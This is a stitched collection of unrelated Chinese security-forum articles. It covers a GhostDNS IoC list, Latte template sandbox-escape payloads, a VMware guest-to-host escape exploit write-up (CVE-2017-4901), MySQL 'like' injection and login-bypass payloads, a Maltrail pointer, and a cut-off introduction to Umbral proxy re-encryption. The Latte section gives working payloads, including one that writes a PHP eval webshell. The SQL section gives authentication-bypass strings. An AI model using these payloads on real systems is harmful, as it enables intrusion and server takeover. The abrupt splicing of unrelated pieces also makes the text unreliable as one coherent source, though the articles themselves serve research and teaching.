TP-LINK WR840N
TP-LINK WR841HP
TP-LINK WR841N
TP-LINK WR940N
TP-LINK WR941N
TP-LINK WR949N
Wireless-N Router
Wireless Router
WLAN AP Webserver
ZNID
## 总结
GhostDNS攻击程序和攻击入口多样性，攻击流程自动化，规模化，已经对互联网造成严重的安全威胁。
我们特别建议巴西家庭宽带用户及时更新路由器软件系统，检查路由器DNS地址是否已经被篡改，同时给路由器Web设置复杂的登录凭证。
我们建议相关路由器厂商提升初始密码复杂度，同时建立完善的软件系统安全更新机制。
相关安全和执法机构，可以邮件联系netlab[at]360.cn获取被感染的IP地址列表。
### 联系我们
感兴趣的读者，可以在 [twitter](https://twitter.com/360Netlab) 或者在微信公众号 360Netlab 上联系我们。
### IoC list
#Pishing Web Server
[takendown] 193.70.95.89 "AS16276 OVH SAS"
[takendown] 198.27.121.241 "AS16276 OVH SAS"
[takendown] 35.237.127.167 "AS15169 Google LLC"
#Rogue DNS Server
139.60.162.188 "AS395839 HOSTKEY"
139.60.162.201 "AS395839 HOSTKEY"
173.82.168.104 "AS35916 MULTACOM CORPORATION"
18.223.2.98 "AS16509 Amazon.com, Inc."
185.70.186.4 "AS57043 Hostkey B.v."
200.196.240.104 "AS11419 Telefonica Data S.A."
200.196.240.120 "AS11419 Telefonica Data S.A."
80.211.37.41 "AS31034 Aruba S.p.A."
[takendown] 35.185.9.164 "AS15169 Google LLC"
[takendown] 144.22.104.185 "AS7160 Oracle Corporation"
[takendown] 192.99.187.193 "AS16276 OVH SAS"
[takendown] 198.27.121.241 "AS16276 OVH SAS"
#Web Admin Server
[takendown] 198.50.222.139 "AS16276 OVH SAS"
#DNSChanger Scanner Server
[takendown] 104.196.177.180 "AS15169 Google LLC"
[takendown] 104.196.232.200 "AS15169 Google LLC"
[takendown] 104.197.106.6 "AS15169 Google LLC"
[takendown] 104.198.54.181 "AS15169 Google LLC"
[takendown] 104.198.77.60 "AS15169 Google LLC"
[takendown] 198.50.222.139 "AS16276 OVH SAS"
[takendown] 35.185.127.39 "AS15169 Google LLC"
[takendown] 35.185.9.164 "AS15169 Google LLC"
[takendown] 35.187.149.224 "AS15169 Google LLC"
[takendown] 35.187.202.208 "AS15169 Google LLC"
[takendown] 35.187.238.80 "AS15169 Google LLC"
[takendown] 35.188.134.185 "AS15169 Google LLC"
[takendown] 35.189.101.217 "AS15169 Google LLC"
[takendown] 35.189.125.149 "AS15169 Google LLC"
[takendown] 35.189.30.127 "AS15169 Google LLC"
[takendown] 35.189.59.155 "AS15169 Google LLC"
[takendown] 35.189.63.168 "AS15169 Google LLC"
[takendown] 35.189.92.68 "AS15169 Google LLC"
[takendown] 35.194.197.94 "AS15169 Google LLC"
[takendown] 35.195.116.90 "AS15169 Google LLC"
[takendown] 35.195.176.44 "AS15169 Google LLC"
[takendown] 35.196.101.227 "AS15169 Google LLC"
[takendown] 35.197.148.253 "AS15169 Google LLC"
[takendown] 35.197.172.214 "AS15169 Google LLC"
[takendown] 35.198.11.42 "AS15169 Google LLC"
[takendown] 35.198.31.197 "AS15169 Google LLC"
[takendown] 35.198.5.34 "AS15169 Google LLC"
[takendown] 35.198.56.227 "AS15169 Google LLC"
[takendown] 35.199.106.0 "AS15169 Google LLC"
[takendown] 35.199.2.186 "AS15169 Google LLC"
[takendown] 35.199.61.19 "AS15169 Google LLC"
[takendown] 35.199.66.147 "AS15169 Google LLC"
[takendown] 35.199.77.82 "AS15169 Google LLC"
[takendown] 35.200.179.26 "AS15169 Google LLC"
[takendown] 35.200.28.69 "AS15169 Google LLC"
[takendown] 35.203.111.239 "AS15169 Google LLC"
[takendown] 35.203.135.65 "AS15169 Google LLC"
[takendown] 35.203.143.138 "AS15169 Google LLC"
[takendown] 35.203.167.224 "AS15169 Google LLC"
[takendown] 35.203.18.30 "AS15169 Google LLC"
[takendown] 35.203.183.182 "AS15169 Google LLC"
[takendown] 35.203.25.136 "AS15169 Google LLC"
[takendown] 35.203.3.16 "AS15169 Google LLC"
[takendown] 35.203.48.110 "AS15169 Google LLC"
[takendown] 35.203.5.160 "AS15169 Google LLC"
[takendown] 35.203.8.203 "AS15169 Google LLC"
[takendown] 35.204.146.109 "AS15169 Google LLC"
[takendown] 35.204.51.103 "AS15169 Google LLC"
[takendown] 35.204.77.160 "AS15169 Google LLC"
[takendown] 35.204.80.189 "AS15169 Google LLC"
[takendown] 35.205.148.72 "AS15169 Google LLC"
[takendown] 35.205.24.104 "AS15169 Google LLC"
[takendown] 35.221.110.75 "AS19527 Google LLC"
[takendown] 35.221.71.123 "AS19527 Google LLC"
[takendown] 35.227.25.22 "AS15169 Google LLC"
[takendown] 35.228.156.223 "AS15169 Google LLC"
[takendown] 35.228.156.99 "AS15169 Google LLC"
[takendown] 35.228.240.14 "AS15169 Google LLC"
[takendown] 35.228.244.19 "AS15169 Google LLC"
[takendown] 35.228.73.198 "AS15169 Google LLC"
[takendown] 35.228.90.15 "AS15169 Google LLC"
[takendown] 35.230.104.237 "AS15169 Google LLC"
[takendown] 35.230.158.25 "AS15169 Google LLC"
[takendown] 35.230.162.54 "AS15169 Google LLC"
[takendown] 35.230.165.35 "AS15169 Google LLC"
[takendown] 35.231.163.40 "AS15169 Google LLC"
[takendown] 35.231.60.255 "AS15169 Google LLC"
[takendown] 35.231.68.186 "AS15169 Google LLC"
[takendown] 35.232.10.244 "AS15169 Google LLC"
[takendown] 35.234.131.31 "AS15169 Google LLC"
[takendown] 35.234.136.116 "AS15169 Google LLC"
[takendown] 35.234.156.85 "AS15169 Google LLC"
[takendown] 35.234.158.120 "AS15169 Google LLC"
[takendown] 35.234.77.117 "AS15169 Google LLC"
[takendown] 35.234.89.25 "AS15169 Google LLC"
[takendown] 35.234.94.97 "AS15169 Google LLC"
[takendown] 35.236.117.108 "AS15169 Google LLC"
[takendown] 35.236.2.49 "AS15169 Google LLC"
[takendown] 35.236.222.1 "AS15169 Google LLC"
[takendown] 35.236.246.82 "AS15169 Google LLC"
[takendown] 35.236.25.247 "AS15169 Google LLC"
[takendown] 35.236.254.11 "AS15169 Google LLC"
[takendown] 35.236.34.51 "AS15169 Google LLC"
[takendown] 35.237.127.167 "AS15169 Google LLC"
[takendown] 35.237.204.11 "AS15169 Google LLC"
[takendown] 35.237.215.211 "AS15169 Google LLC"
[takendown] 35.237.32.144 "AS15169 Google LLC"
[takendown] 35.237.68.143 "AS15169 Google LLC"
[takendown] 35.238.4.122 "AS15169 Google LLC"
[takendown] 35.238.74.24 "AS15169 Google LLC"
[takendown] 35.240.156.17 "AS15169 Google LLC"
[takendown] 35.240.212.106 "AS15169 Google LLC"
[takendown] 35.240.234.169 "AS15169 Google LLC"
[takendown] 35.240.94.181 "AS15169 Google LLC"
[takendown] 35.241.151.23 "AS15169 Google LLC"
[takendown] 35.242.134.99 "AS15169 Google LLC"
[takendown] 35.242.140.13 "AS15169 Google LLC"
[takendown] 35.242.143.117 "AS15169 Google LLC"
[takendown] 35.242.152.241 "AS15169 Google LLC"
[takendown] 35.242.203.94 "AS15169 Google LLC"
[takendown] 35.242.245.109 "AS15169 Google LLC"
[takendown] 40.74.85.45 "AS8075 Microsoft Corporation" | 社区文章 |
# Latte-SSTI-Payloads总结
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## TL;DR
最近西湖论剑有一道使用Latte的题目，当时我也是用的偷鸡办法做的，当时时间限制就没有仔仔细细的去寻找逃逸的办法。
直到赛后我发现逃逸的办法很简单
{="${system('nl /flag')}"}
这里使用的是php的基础语法，我就不过多赘述了。这个复杂变量网上也有很多文章。
赛后我无聊的时候简单看了下Latte，找了点后续的利用，比如获取$this变量，还有任意代码执行。然后发现网上关于这个引擎的文章很少，就来水一篇吧。
## “${}” Bypass
我粗略的读了下Latte，其实Latte确实是对$$和${}进行了检测的
//PhpWriter.php
public function sandboxPass(MacroTokens $tokens): MacroTokens{
......
elseif ($tokens->isCurrent('$')) { // $$$var or ${...}
throw new CompileException('Forbidden variable variables.');
}
......
else { // $obj->$$$var or $obj::$$$var
$member = $tokens->nextAll($tokens::T_VARIABLE, '$');
$expr->tokens = $op === '::' && !$tokens->isNext('(')
? array_merge($expr->tokens, array_slice($member, 1))
: array_merge($expr->tokens, $member);
}
......
}
从给的注释和报错的异常也能看出来，这里通过前面的词法，语法分析出来的token在检测形容${},$$var这样的结构。
如果你直接在模板里书写${$xx}确实会报上面哪个异常
但是如果使用”${xxx}”，可能在前面词法，语法分析就会认为这是个定义的字符串，根本不会进入这里的sandboxPass方法了
可以从一个尽量精简的例子来看看后续的流程
<?php
//这是index.php
require 'vendor/autoload.php';
$latte = new Latte\Engine;
$latte->setTempDirectory('tempdir');
$policy = new Latte\Sandbox\SecurityPolicy;
$policy->allowMacros(['block', 'if', 'else','=']);
$policy->allowFilters($policy::ALL);
$policy->allowFunctions(['trim', 'strlen']);
$latte->setPolicy($policy);
$latte->setSandboxMode();
$latte->setAutoRefresh(true);
if(isset($_FILES['file'])){
$uploaddir = '/var/www/html/tempdir/';
$filename = basename($_FILES['file']['name']);
if(stristr($filename,'p') or stristr($filename,'h') or stristr($filename,'..')){
die('no');
}
$file_conents = file_get_contents($_FILES['file']['tmp_name']);
if(strlen($file_conents)>28 or stristr($file_conents,'<')){
die('no');
}
$uploadfile = $uploaddir . $filename;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
$message = $filename ." was successfully uploaded.";
} else {
$message = "error!";
}
$params = [
'message' => $message,
];
$latte->render('tempdir/index.latte', $params);
}
else if($_GET['source']==1){
highlight_file(__FILE__);
}
else{
$latte->render('tempdir/index.latte', ['message'=>'Hellow My Glzjin!']);
}
/*这是index.latte*/
<ul>
{="${eval('echo \'pwn!\';')}"}
</ul>
调用栈张这样，光从名字来看应该还是挺清晰的
主要看看buildClassBody方法
private function buildClassBody(array $tokens){
......
$macroHandlers = new \SplObjectStorage;
if ($this->macros) {
array_map([$macroHandlers, 'attach'], array_merge(...array_values($this->macros)));
}
foreach ($macroHandlers as $handler) {
$handler->initialize($this);
}
foreach ($tokens as $this->position => $token) {
if ($this->inHead && !(
$token->type === $token::COMMENT
|| $token->type === $token::MACRO_TAG && ($this->flags[$token->name] ?? null) & Macro::ALLOWED_IN_HEAD
|| $token->type === $token::TEXT && trim($token->text) === ''
)) {
$this->inHead = false;
}
$this->{"process$token->type"}($token);
}
......
在上面哪个示范中，$this->{“process$token->type”}($token);当$token->type=MacroTag时，调用的就是$this->processMacroTag($token);
主要来看看这个MacroTag的处理过程，因为这个MacroTag就代表`{="${eval('echo \'pwn!\';')}"}`
private function processMacroTag(Token $token): void{
......
//对于这个标签，因为情况比较简单，直接就是来到这里
$node = $this->openMacro($token->name, $token->value, $token->modifiers, $isRightmost);
......
}
public function openMacro(
string $name,
string $args = '',
string $modifiers = '',
bool $isRightmost = false,
string $nPrefix = null
): MacroNode {
......
$node = $this->expandMacro($name, $args, $modifiers, $nPrefix);
......
}
public function expandMacro(string $name, string $args, string $modifiers = '', string $nPrefix = null): MacroNode{
if (empty($this->macros[$name])){//先判断是否存在这个macros
......
}
$modifiers = (string) $modifiers;//获取修饰符
.......
.......
foreach (array_reverse($this->macros[$name]) as $macro) {
$node = new MacroNode($macro, $name, $args, $modifiers, $this->macroNode, $this->htmlNode, $nPrefix);//前面一堆蜜汁操作（因为调的时候前面很多分支没进入，就不管了），终于开始建立这个节点
$node->context = $context;
$node->startLine = $nPrefix ? $this->htmlNode->startLine : $this->getLine();
if ($macro->nodeOpened($node) !== false) {
return $node;
}
}
}
来到MacroSet的nodeOpened（这里是CoreMacros继承的MacroSet方法）然后调用了MacroSet的compile方法，对于本例会来到CoreMacros的macroExpr，通过这个方法上面的注释也能明白这里是在准备编译表达式，在准备将表达式打印的语句编译出来。
nodeOpened(MacroNode $node) -> compile(MacroNode $node, $def)->macroExpr(MacroNode $node, PhpWriter $writer)
然后来到PhpWriter的write方法
/**
* Expands %node.word, %node.array, %node.args, %node.line, %escape(), %modify(), %var, %raw, %word in code.
* @param mixed ...$args
*/
public function write(string $mask, ...$args): string
......
//这整个PhpWriter其实都在干一件事就是去生成一个类似于格式化字符串的结果
//对于本例，当格式化参数的时候，会一路调用到PhpWriter的sandboxPass方法
在PhpWriter的sandboxPass方法中，会根据目前他拿到的tokens来做判断（虽然初始化PhpWriter的时候，传给他的tokens属性的变量叫tokenizer，实际上传过去的是是当时哪个节点对于分词器的一个包装）
....
elseif ($tokens->isCurrent('$')) { // $$$var or ${...}
throw new CompileException('Forbidden variable variables.');
....
可以看到这里如果使用$tokens->isCurrent(‘$’)自然而然获取到的是`"${eval(xxxxxx)}"`并不是一个`$`的token。
所以就绕过了sandbox。
**底层的原理也很简单，其实就是Latte的解析并没有与php一致。也就是说Latte认为这就是在输出一个字符串而已，但是最后生成的php文件中，这确实是一个符合语法规则的复杂变量。**
## How to get $this
模板沙盒逃逸一般大家第一步都喜欢去寻找一些内置变量一类，看看有没有什么操作的空间。但是Latte我粗略的看了下官方文档，好像没有内置变量。直接使用$this会直接被ban。
这里我当时看到了一个过滤器 **sort**
You can pass your own comparison function as a parameter:
{var $sorted = ($names|sort: fn($a, $b) => $b <=> $a)}
//这是官方的例子
这样的东西看起来就很危险，而且最后是会编译成php文件的，所以我猜测自定义匿名函数的代码片段最后生成到php文件时不会产生太大的变化。我当时试了试在匿名函数里面定义一个没用的变量。在最后编译生成的php文件里，我也确实看到了我定义的变量。所以我就觉得这个地方是有操作空间的。
如果你直接准备再这里进行函数调用会被直接拦下来的，静态调用过不了编译。动态调用因为上文提到的sandboxPass方法，会进行以下转换比如
trim("phpinfo\t")(); => $this->call(trim("phpinfo\t"))();
其中$this变量是一个Latte\Runtime\Template的对象，他的这个call其实就是在检测白名单，并且适配了php的几种动态调用的形式，比如数组之类的。
我水平有限也无法规避Latte对动态调用这样的转换。（可能可以使用类似mxss的思路去规避?）
所以我就还是准备使用”${}”看看能否获得$this变量
<li>{=["this","siebene"]|sort: function ($a,$b) {
"${is_string(${$a}->getEngine()->setSandboxMode(false))}";
"${is_string(${$a}->getEngine()->setPolicy(null))}";
}}</li>
/*
这里有个小细节就是为了避免对象转为字符串报致命错误提前中断，我使用了`is_string`来将对象间接转成可以接受的形式。
*/
发现还是挺简单的，我就拿到了$this变量，并且关闭了沙盒还有清空了策略。
## Another RCE Payloads
有兴趣看的话，感觉payload应该还是会有挺多的
<li>{=["this","siebene"]|sort: function ($a,$b) {
"${is_string(${$a}->call(function (){ file_put_contents('sie.php','<?php eval($_GET[s]);');phpinfo(); })())}";
}}</li> | 社区文章 |
# 【技术分享】实战VMware虚拟机逃逸漏洞
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：n0nick
预估稿费：500 RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**0x00 前言**
****
最近长亭把Pwn2Own中遗憾的在比赛前一天被补上的漏洞利用发了出来，Amat大佬的博客有[这篇文章](http://acez.re/the-weak-bug-exploiting-a-heap-overflow-in-vmware/)，同时在长亭知乎专栏有杨博士发的[中文版](https://zhuanlan.zhihu.com/p/27733895)。
但是并没有公开的exp，如何真正实现呢？自己花了十几天才写出exp，其中踩坑无数，本着分享精神，于是就有了本文。
**0x01 Backdoor**
****
backdoor是vmware实现的一套Guest和Host通信的机制，我们不需要去深入研究这种机制如何实现的，只需要大概了解一下这个机制的实现。
先看通信的代码，这部分代码在open-vm-tools的github上也有，[链接在此](https://github.com/vmware/open-vm-tools/blob/master/open-vm-tools/lib/backdoor/backdoorGcc64.c#L74-L104)。由于需要在VS中编译，所以需要先转换成为intel的asm格式。
在正常操作系统中直接执行in指令会导致出错，因为这是特权指令。但是在Guest中这个错误会被vmware捕获，然后传给vmware-vmx.exe进程内部进行通信。
而后面我们需要操作的message，全部通过backdoor通信方式来通信。 关于message的操作，open-vm-tools里面也有相关实现，[链接在此](https://github.com/vmware/open-vm-tools/blob/master/open-vm-tools/lib/message/message.c)。直接拿过来用就行了。
有了Message_Send和Message_Recv这些函数，我们就可以直接在Guest里面与Host进程进行通信。
需要注意的是Backdoor通信在Guest内部不需要管理员权限，所以此bug可在普通用户触发。
**0x02 Drag and Drop RPCI**
****
RPCI是基于backdoor实现的通信方式。open-vm-tools相关[实现在此](https://github.com/vmware/open-vm-tools/blob/master/open-vm-tools/lib/message/message.c)。可以直接使用这个发送RPC的函数。
这个漏洞存在在DnD操作的v3版本代码中，对应bug代码在此。
ida中更加明显：
由于没有realloc或者totalsize的判断，导致第二个包的totalsize可以改成一个大值，payloadsize因此也可以变大导致一个堆溢出。
顺带一提，发送DnD操作的命令在[dndCPTransportGuestRpc.hpp](https://github.com/vmware/open-vm-tools/blob/master/open-vm-tools/services/plugins/dndcp/dndGuest/dndCPTransportGuestRpc.hpp#L42)中。
通过阅读open-vm-tools的代码，可以得出RPC的发送对应路径：
[rpcv3util::SendMsg](https://github.com/vmware/open-vm-tools/blob/master/open-vm-tools/services/plugins/dndcp/dndGuest/rpcV3Util.cpp#L236-L288)->[DnDCPTransportGuestRpc::SendPacket](https://github.com/vmware/open-vm-tools/blob/master/open-vm-tools/services/plugins/dndcp/dndGuest/dndCPTransportGuestRpc.cpp#L354-L393)->[RpcChannel_Send](https://github.com/vmware/open-vm-tools/blob/master/open-vm-tools/lib/rpcChannel/rpcChannel.c#L866-L935)->Message_Send->backdoor
**0x03逆向分析**
****
看完相关的open-vm-tools的代码之后，开始逆向vmware-vmx.exe，我的版本是12.5.2.13578，workstation是12.5.2-build4638234版本。
首先很容易通过字符串“tools.capability.dnd_version”的xref找到对应的处理函数。
bindfun只是把对应的参数值写入了全局变量，其实是一个表。bindfun参数4就是对应rpc命令的处理函数，而rpc命令函数的参数3和参数4分别是我们发送的RPC原始request和RPCrequest的长度。参数5和参数6是我们得到的
reply的地址和reply的长度。
可以看出这个命令有一个参数，也就是版本号。
其他的RPC命令类似，在发送“vmx.capability.dnd_version”命令的时候，对应的处理函数中如果发现当前版本和设置的版本不一致，就会调用函数创建新的
object，把原来的版本的object销毁。
DnD和CP的Object的size都是一样的，都是0xa8大小。
**0x04 漏洞利用**
****
Amat大佬的文章中推荐用info-set和info-get来操作堆，其中info-set对应的handle函数内部很复杂，通过windbg动态调试，可以发现我们发送“info-set guestinfo.test1
“+’a'*0xa7可以创建一个0xa8大小的buffer。实际测试我在malloc和free下断点，整个info-set过程大概有10-13次malloc（size=0xa8），也有 接近10次的free操作，最终剩下一个buffer。也就是说整个info-set过程干扰很大。
info-get可以读取刚刚set的值，这就没什么好说。 关于windows的LFH的风水，由于info-set中有多次malloc
0xa8操作，所以比较困难。我没有什么好的办法，目前我exp成功率还是比较低。
思路大概就是把内存变成这个样子：
如果一旦没有布局成功。。vmware-vmx就会崩溃。。。
如果你正好挂了windbg调试器。。那么整个host就会其卡无比。。未知bug。只能缓慢的对windbg调试器按q退出调试。
推荐安装windbg的pykd插件，大爱python。 我写了个小脚本用来辅助调试：（其实就是打印rax）
from pykd import *
import sys
s=''
if len(sys.argv)>1:
s=sys.argv[1]+' '
print s+'Object at '+hex(reg('rax'))
所以就可以在attach上vmx进程的时候这么输入：
bp 7FF7E394C4D8 "!py dumprax DnD;gc;";bp 7FF7E394BF68 "!py dumprax
CP;gc;";bp 7FF7E3DA05AB "!py dumprax vuln;gc;";bp 7FF7E3DA05DB;bp
7ff7e38c1b2d;bp 7ff7`e38f1dc2;g
第一个地址是DnD Object malloc完毕后的下一条指令，第二个地址是CP
Object的，第三个是vuln的，第四个地址是memcpy触发的地方，后面两个是gadget地址。
因为windows中进程重启后基地址还是不会变，所以只要你不重启电脑，可以一直用。
通过一些布局（运气）变成了如上的内存之后，就可以开始leak了。
主要是通过覆盖info-set的value buffer，修改value buffer内部的值，如果此时info-get读取的valuebuffer值不同，那就说明被覆盖了。
而如果溢出到了Object头部，从info-get读取的信息就会包含vtable的地址，从而泄露出程序基地址。
当然这个过程中有可能触发RtlHeapFree等堆函数然。。因为堆chunk头被覆盖，理所当然崩溃。。。
**0x05 DnD Object 覆盖**
****
如果覆盖的是DnD Object，那么在DnD_TransportBufAppendPacket函数结束之后的上层函数会立刻发生调用。
所以在这之前，需要先在一块内存布局好vtable，原文推荐使用“unity.window.contents.chunk”
命令，这个RPC命令会把我们的参数复制进去data段上一个堆指针内部。
这个全局变量指针由命令“unity.window.contents.start” 创建。
这两个unity的命令。。有反序列化操作而且没有官方文档可以看，只能自己慢慢debug，摸索出对应的结构。。具体的结构请看文章末尾的Github代码。
call之后，首先需要一个stack pivot到堆上，然后就是愉快的ROP。
需要说明的是，vmware中的data段居然是rwx的。。直接复制shellcode上去就能执行了。
具体的ROP见文章末尾的Github代码。
**0x06 CopyPaste Object 覆盖**
****
如果覆盖的是CP
Object，那么覆盖掉vtable之后，vmx进程不会崩溃，原文推荐使用cp命令触发vtable调用，而我用了这个Object的destructor。也就是再把版本设
置回4的话，程序会调用vtable中对应的destructor.
通过上面提到的”unity.window.contents.start“命令可以设置一个qword大小的gadget在程序的数据段上，而之前已经通过leak得到了程序的基地址，所
以可以得到这个gadget的指针的地址。
这个点不是特别好用，寄存器的值不是很方便，但最终依然找到了合适的gadget来利用。详细ROP见文章末尾Github 代码。
**0x07 最后说两句**
这个漏洞能不能稳定利用，关键在于堆布局做的怎么样，这个方面我研究不多。。以后还得继续看。长亭在这种情况能达到60-80%的成功率，太厉害了。
该漏洞在VMware Workstation 12.5.5之后被修补。
如果文章中有任何错误请在评论指出，谢谢各位表哥。
完整EXP：[点我](https://github.com/unamer/vmware_escape/tree/master/cve-2017-4901)。 | 社区文章 |
# 0x01、前言
群里一位老哥发了一个挺有意思的SQL语句，使用like但是没有使用模糊查询,却匹配出了所有字段
小菜比感觉很新鲜，所以简单进行了一番学习，在学习过程想起一个检测SQL注入的payload：
and 1 like 1
但是当时并没有跟进学习，所以应该也不算新技巧了
# 0x02、跟进探索学习
首先从字段值的不同的类型来测试
## 0x02.1、int型
id存在且id=1
id存在且id=2
**初识端倪：**
当字段值类型为int时，字段值=后面的表达式为True，后面的值等于1，即效果为id=1，False则等于0，即效果为id=0，mysql中列值从1开始，因此返回为空
id=3 ，id不存在；进一步验证猜想
完全验证前面的猜想
## 0x02.2、字符串型
根据前面的测试，意识到可能存在运算符的优先级问题，like 优先级高于 =, 下面两条语句等价
select * from admin where name=1 like 2;
select * from admin where name=(1 like 2)
更直观的演示如下
当字段值类型为字符串时，字段值=后面的表达式为True，效果为 or 1=0 ，False效果则为or 1=1
# 0x03、其他玩法
下面的测试中新增了两行test数据
还可以用于判断列名是否存在：
当列名存在时，可通过赋值排除某一项
# 0x04、进一步发现
同样还是like语句返回True或False，也就是1和0的问题，在列值为字符串类型时，这里能够实现or
1=1效果（也就是只能应用于列值类型为字符串的时候）
算是一种新型万能密码吧，可看后面的玩法应用
# 0x05、玩法应用
## 0x05.1、检测SQL注入
此处id的字段值为int型（如前面验证的那样，此用法与注入类型无关，而与字段值类型相关）
id=1%27%20like%201%23
id=1%27%20like%200%23
## 0x05.2、新型万能密码
此处username字段值类型字符串，因此like后面的值是可以随意的，只要构造出(xx' like ...)为Fasle即可，如xx' like 0
、xx' like 2、xx' like “c”....
**类型1：**
**类型2：**
'+False# 有同样效果
## 0x05.3、判断列名是否存在
# 0x06、总结
虽然不算新的东西了，但是能够从中发现一些新玩法也算不错。感觉更多的应用于SQL注入检测、盲注当中吧，脑袋瓜不太好，没有发现更多玩法，有其他玩法的师傅们来带带弟弟可以吗，嘤嘤嘤嘤嘤。。。 | 社区文章 |
github项目地址：<https://github.com/stamparm/maltrail>
搭建该系统用处：内部搭建了可以检测员工机器是否存在被攻击且当前企业没有报警功能
该系统功能内容有哪些？
这个是效果图可能有点大，加载慢也正常
不说了。先去搭建个试试看 | 社区文章 |
**作者：Proteas**
**原文链接：<https://github.com/Proteas/from-rd-to-vul-research>**
本文作者是一个具有3年Windows C++开发经验，5年iOS App开发经验，5年iOS & macOS漏洞挖掘经验的开发工程师。
在内容上，作者面向所有开发人员从漏洞挖掘与利用、为什么要转漏洞挖掘、如何转到漏洞挖掘三个角度阐述了自己的观点。
**详细内容请点击：[从开发到漏洞挖掘的角色转换](https://images.seebug.org/archive/%E4%BB%8E%E5%BC%80%E5%8F%91%E5%88%B0%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E7%9A%84%E8%A7%92%E8%89%B2%E8%BD%AC%E6%8D%A2-v0.11.pdf
"从开发到漏洞挖掘的角色转换")**
* * * | 社区文章 |
# Umbral：新型分散式密钥管理系统的代理重加密方案
|
##### 译文声明
本文是翻译文章，文章原作者 NuCypher，文章来源：blog.nucypher.com
原文地址：<https://blog.nucypher.com/unveiling-umbral-3d9d4423cd71>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
现在，我们非常高兴地宣布，我们在定义（ <https://github.com/nucypher/umbral-doc/blob/master/umbral-doc.pdf> ）和实现（ <https://github.com/nucypher/pyUmbral>
）Umbral的过程中已经到达了一个重要的里程碑。Umbral是一个门限代理（Threshold Proxy）重加密方案，可以在NuCypher KMS（
<https://blog.nucypher.com/nucypher-kms-decentralized-key-management-system-7783cdaad39e> ）中实现。
Umbral允许经安全授权的解密权限，可以在任意数量的公共网络参与者之间实现私人的数据共享。这一过程是在不向中间实体透露加密密钥的前提下实现的。
Umbral的特性在于其分裂密钥机制，由于它采用传统的代理重加密方案，所以重加密过程是通过一组节点进行的，而不仅仅是通过单个节点进行分配。
为了进行上述任务，Umbral需要指定一个人数，作为允许进行重加密操作的最少节点数量。这样一来，凭据就会在这些节点之中被拆分，非常类似于Shamir秘密共享的原理，只不过重加密的密钥是其中的一部分，而不是共享的私钥。
“Umbral”这个名字源于西班牙语的“门槛”一词，强调了该方案的分裂密钥特性，该特性在NuCypher KMS的分布式架构中发挥了核心作用。
我们的密码系统是以Python语言实现的，称为pyUmbral（ <https://github.com/nucypher/pyUmbral>
）。它使用Cryptography.io（ <http://cryptography.io/> ）和OpenSSL（
<https://www.openssl.org/> ）构建，是一款开源的即用型代理重新加密工具包。
## 关于代理重加密
代理重加密（PRE，[https://blog.nucypher.com/proxy-re-encryption-playground-in-python-3bc66170b9bf）是一组算法，它允许半可信代理将密文从一个加密转换到另一个加密，而无需接触到底层明文的任何内容。为此，Alice（原始数据拥有者）创建了一个称为“重加密密钥”的特殊密钥，允许代理转换密文，从而使Bob可以在被称为“重加密”的过程中打开它们。](https://blog.nucypher.com/proxy-re-encryption-playground-in-python-3bc66170b9bf%EF%BC%89%E6%98%AF%E4%B8%80%E7%BB%84%E7%AE%97%E6%B3%95%EF%BC%8C%E5%AE%83%E5%85%81%E8%AE%B8%E5%8D%8A%E5%8F%AF%E4%BF%A1%E4%BB%A3%E7%90%86%E5%B0%86%E5%AF%86%E6%96%87%E4%BB%8E%E4%B8%80%E4%B8%AA%E5%8A%A0%E5%AF%86%E8%BD%AC%E6%8D%A2%E5%88%B0%E5%8F%A6%E4%B8%80%E4%B8%AA%E5%8A%A0%E5%AF%86%EF%BC%8C%E8%80%8C%E6%97%A0%E9%9C%80%E6%8E%A5%E8%A7%A6%E5%88%B0%E5%BA%95%E5%B1%82%E6%98%8E%E6%96%87%E7%9A%84%E4%BB%BB%E4%BD%95%E5%86%85%E5%AE%B9%E3%80%82%E4%B8%BA%E6%AD%A4%EF%BC%8CAlice%EF%BC%88%E5%8E%9F%E5%A7%8B%E6%95%B0%E6%8D%AE%E6%8B%A5%E6%9C%89%E8%80%85%EF%BC%89%E5%88%9B%E5%BB%BA%E4%BA%86%E4%B8%80%E4%B8%AA%E7%A7%B0%E4%B8%BA%E2%80%9C%E9%87%8D%E5%8A%A0%E5%AF%86%E5%AF%86%E9%92%A5%E2%80%9D%E7%9A%84%E7%89%B9%E6%AE%8A%E5%AF%86%E9%92%A5%EF%BC%8C%E5%85%81%E8%AE%B8%E4%BB%A3%E7%90%86%E8%BD%AC%E6%8D%A2%E5%AF%86%E6%96%87%EF%BC%8C%E4%BB%8E%E8%80%8C%E4%BD%BFBob%E5%8F%AF%E4%BB%A5%E5%9C%A8%E8%A2%AB%E7%A7%B0%E4%B8%BA%E2%80%9C%E9%87%8D%E5%8A%A0%E5%AF%86%E2%80%9D%E7%9A%84%E8%BF%87%E7%A8%8B%E4%B8%AD%E6%89%93%E5%BC%80%E5%AE%83%E4%BB%AC%E3%80%82)
代理重加密非常适合用于在要与多方共享加密的数据使用场景（
<https://www.nics.uma.es/pub/papers/nunez2017proxy.pdf>
），就不需要再与收件人共享私有的密钥，也不需要为每个收件人都加密整个消息后再进行代理。该加密让用户仅需要进行一次加密操作，随后可以根据收件人的公钥对其进行授权。这样一来，就不必要求所有数据所有者都同时在线，并且还可以轻松撤消某人的访问权限，也可以根据指定的条件来管理访问（例如，限制访问时间）。
## Umbral：一种新的代理重加密方案
借助于Umbral，Alice（数据拥有者）可以通过由一组N个半可信代理执行的重新加密过程，将解密的权限授权给Bob（在NuCypher
KMS的术语中，称为“Ursulas”）。当这些代理（至少为M个，至多为N个）通过执行重加密操作参与进来时，Bob能够使用自己的私钥解密出原始邮件。Umbral是门限密码系统（Threshold
Cryptosystem）的一种，因为重新加密过程必须要N个Ursula中的M个参与其中。
根据另一个技术说明中所述，Umbral受到了ECIES（
<https://en.wikipedia.org/wiki/Integrated_Encryption_Scheme> ）和BBS98（
<https://link.springer.com/chapter/10.1007/BFb0054122>
）代理重加密方案的启发，并且进行了一些改进。其中包括，使用了非交互式零知识（NIZK）证明来验证重加密的正确性，以确保KMS节点不会进行欺骗。Umbral的门限功能使用了Shamir秘密共享的思路，让重加密过程成为一个分布式的过程。
在技术文档中，可以查阅更详细的Umbral规范。
## pyUmbral
